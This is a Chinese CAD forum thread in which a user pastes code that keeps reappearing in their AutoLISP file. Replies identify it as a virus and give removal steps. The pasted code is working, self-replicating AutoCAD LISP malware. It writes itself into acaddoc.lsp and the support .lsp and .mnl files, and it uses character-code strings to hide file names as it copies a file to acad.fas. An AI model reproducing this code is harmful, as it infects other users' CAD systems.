自己写的lisp中打开cad时会自动写入代码,使得lisp无法使用,这个代码是什么意思?
我写的lisp在加载后,每次打开都会自动写入如下代码,我删除后第二次打开又会这样,然后代码就无法执行,请问这段代码是啥意思?(setq flagx t)(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
(load "acadappp.lsp")
(princ)
(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))
(if (null stol) (load "lcm" ""))
(princ)
(load "acadapq")
(princ) 中毒了 关注下,我以前也遇到过这个现象 全盘搜索文件:acaddoc.lsp,删除,再在*mnl文件里上面的文件删除,搞定
页:
[1]